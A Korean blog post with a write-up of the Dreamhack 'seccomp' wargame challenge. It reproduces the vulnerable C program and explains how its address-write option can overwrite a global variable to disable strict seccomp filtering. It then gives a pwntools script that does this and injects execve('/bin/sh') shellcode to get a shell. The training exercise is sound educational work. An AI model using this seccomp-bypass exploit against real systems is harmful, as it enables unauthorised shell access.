• 티스토리 홈
  • 프로필사진
    satorare
  • 방명록
  • 공지사항
  • 태그
  • 블로그 관리
  • 글 작성
satorare
  • 프로필사진
    satorare
    • 분류 전체보기 (67)
      • book (3)
      • Translate (2)
      • bin (62)
      • wargame (0)
      • ctf (0)
  • 방문자 수
    • 전체:
    • 오늘:
    • 어제:
  • 최근 댓글
      등록된 댓글이 없습니다.
    • 최근 공지
      • ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⋯
      등록된 공지가 없습니다.
    # Home
    # 공지사항
    #
    # 태그
    # 검색결과
    # 방명록
    • seccomp Write-Up
      2023년 05월 13일
      • satorare
      • 작성자
      • 2023.05.13.:46

      Wargame Reference : https://dreamhack.io/wargame/challenges/59/

       

      seccomp

      Description 이 문제는 서버에서 작동하고 있는 서비스(seccomp)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의

      dreamhack.io

       

       


      0. Environment

       

       

      SSP와 NX bit가 걸려있습니다.

       


      1. Analysis

      C Code

      #include <stdio.h>
      #include <stdlib.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <signal.h>
      #include <stddef.h>
      #include <sys/prctl.h>
      #include <linux/seccomp.h>
      #include <linux/filter.h>
      #include <linux/unistd.h>
      #include <linux/audit.h>
      #include <sys/mman.h>
      
      int mode = SECCOMP_MODE_STRICT:
      
      void alarm_handler() {
         puts("TIME OUT");
         exit(-1);
      }
      
      void initialize() {
         setvbuf(stdin, NULL, _IONBF, 0);
         setvbuf(stdout, NULL, _IONBF, 0);
         signal(SIGALRM, alarm_handler);
         alarm(60);
      }
      
      int syscall_filter() {
         #define syscall_nr (offsetof(struct seccomp_data, nr))
         #define arch_nr (offsetof(struct seccomp_data, arch))
         
         /*architecture x86_64 */
         #define REG_SYSCALL REG_RAX
         #define ARCH_NR ADUIT_ARCH_X86_64
         struct sock_filter filter[] = {
            /* Validatre architecture. */
            BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
            BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
            BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
            /*Get system call number. */
            BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
            };
         
         struct sock_fprog prog = {
         .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
         .filter = filter,
            };
         if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
            perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
            return -1;
            }
         
         if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
            perror("Seccomp filter error\n");
            return -1;
            }
         return 0;
      }
      
      int main(int argc, char* argv[])
      {
         void (*sc)();
         unsigned char *shellcode;
         int cnt = 0;
         int idx;
         long addr;
         long value;
         
         initialize();
         
         shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
         
         while(1) {
            printf("1. Read shellcode\n");
            printf("2. Execute shellcode\n");
            printf("3. Write address\n");
            printf("> ");
            
            scanf("%d", &idx);
            
            switch(idx) {
               case 1:
                  if(cnt != 0) {
                     exit(0);
                  }
                  
                  syscall_filter();
                  printf("shellcode: ");
                  read(0, shellcode, 1024);
                  cnt++;
                  break;
               case 2:
                  sc = (void *)shellcode;
                  sc();
                  break;
               case 3:
                  printf("addr: ");
                  scanf("%ld", &addr);
                  printf"value: ");
                  scanf("%ld", addr);
                  break;
               dafault:
                  break;
            }
         }
         return 0;
      }

       

      헤더 파일 참조 아래에 보면 mode 변수에 SECCOMP_MODE_STRICT 매크로를 저장하는 걸 볼 수 있습니다. 그리고 이 mode 변수는 prctl 함수의 인자로 사용됩니다. 따라서 현재 프로그램에 Strict Mode의 Seccomp filter가 걸려있음을 알 수 있습니다.

       

      전체적인 동작은 이전 문제와 같이 익명 페이지 속성의 가상 메모리 shellcode 변수에 쉘 코드를 집어넣을 수 있고, 이를 실행할 수 있습니다. 하지만 Strcit Mode에 의해서 read, write, exit, sigreturn 시스템콜만 사용이 가능합니다.

       

      특징적인 것으로는 쉘 코드를 입력, 실행할 수 있는 옵션도 존재하지만 특정 Address에 value를 집어넣는 Write Address 옵션이 존재합니다. 

       

      이 때 만약 Write Address 기능을 이용해서 수정할 수 있는 부분이 존재한다면 어디일까요? 기본적으로 ASLR이 걸려있으므로 고정된 주소를 가져야할 것 입니다.

       

      우연하게도 문제에서는 전역 변수 mode가 선언되어있고, PIE가 적용되어있지 않으므로 전역 변수는 고정된 주소를 갖는 bss 영역에 저장됩니다.

       

      mode 전역 변수는 prctl 함수의 인자로써 Seccomp Strict Mode를 적용하는 역할을 하는데, 매크로인 SECCOMP_MODE_STRICT는 헤더파일 linux/seccomp.h에 정의되어있고, 실제 값은 '1'입니다.

       

      이 헤더 파일을 살펴보면 아래와 같은 매크로들을 찾을 수 있는데,

       

      Write Address 기능으로 SECCOMP_MODE_STRICT 매크로를 SECCOMP_MODE_DISABLES로 바꾼다면 SECCOMP 필터링을 우회할 수 있을 것 같습니다.

       

      따라서 공격 시나리오는 다음과 같습니다.

       

      1. Write Address 기능으로 전역 변수 mode를 SECCOMP_MODE_DISABLES로 변경합니다.
      2. 변경된 mode로 쉘 코드를 입력하고 실행시킵니다.

       


      2. Exploit

       

      mode 전역 변수는 gdb에서 info variables, 혹은 pwntools 내에서 symbols 기능을 사용하여 알아낼 수 있습니다.

       

       

      e = ELF("./seccomp")
      
      mode = e.symbols['mode']

       

      mode 변수의 주소를 알아냈다면, Write Address 기능으로 새로운 값으로 덮어씌우면 됩니다. SECCOMP_MODE_DISABLES 매크로로 변경할 것이므로 이에 대응되는 0을 값으로 넣어주면 됩니다.

       

      p = process("./seccomp")
      e = ELF("./seccomp")
      
      mode = e.symbols['mode']
      
      p.sendlineafter("> ", "3")
      p.sendlineafter("addr: ", str(mode))
      p.sendlineafter("value: ", "0")

       

      mode 변수의 값을 수정하였다면 다음은 정상적인 방법대로 쉘 코드를 입력하고 실행시키면 됩니다.

       

      p = process("./seccomp")
      e = ELF("./seccomp")
      
      context.arch = 'x86_64'
      
      mode = e.symbols['mode']
      
      p.sendlineafter("> ", "3")
      p.sendlineafter("addr: ", str(mode))
      p.sendlineafter("value: ", "0")
      
      p.sendlineafter("> ", "1")
      shellcode = shellcraft.execve("/bin/sh", 0, 0)
      p.sendafter("shellcode: ", asm(shellcode))
      
      p.sendlineafter("> ", "2")

       

      Result

       

      최종 페이로드는 다음과 같습니다.

       

       

      페이로드 실행결과 다음과 같이 플래그를 얻을 수 있었습니다.

       

       


      3. Reference

      https://docs.huihoo.com/doxygen/linux/kernel/3.7/include_2uapi_2linux_2seccomp_8h.html

       

      저작자표시 비영리 (새창열림)

      'bin' 카테고리의 다른 글

      master_canary Write-Up  (0) 2023.05.19
      Master Canary Write-Up  (0) 2023.05.17
      Bypass SECCOMP-1  (0) 2023.05.12
      validator Write-Up  (0) 2023.05.11
      cmd_center Write-Up  (0) 2023.05.10
      다음글
      다음 글이 없습니다.
      이전글
      이전 글이 없습니다.
      댓글
    조회된 결과가 없습니다.
    스킨 업데이트 안내
    현재 이용하고 계신 스킨의 버전보다 더 높은 최신 버전이 감지 되었습니다. 최신버전 스킨 파일을 다운로드 받을 수 있는 페이지로 이동하시겠습니까?
    ("아니오" 를 선택할 시 30일 동안 최신 버전이 감지되어도 모달 창이 표시되지 않습니다.)
    목차
    표시할 목차가 없습니다.
      • 안녕하세요
      • 감사해요
      • 잘있어요

      티스토리툴바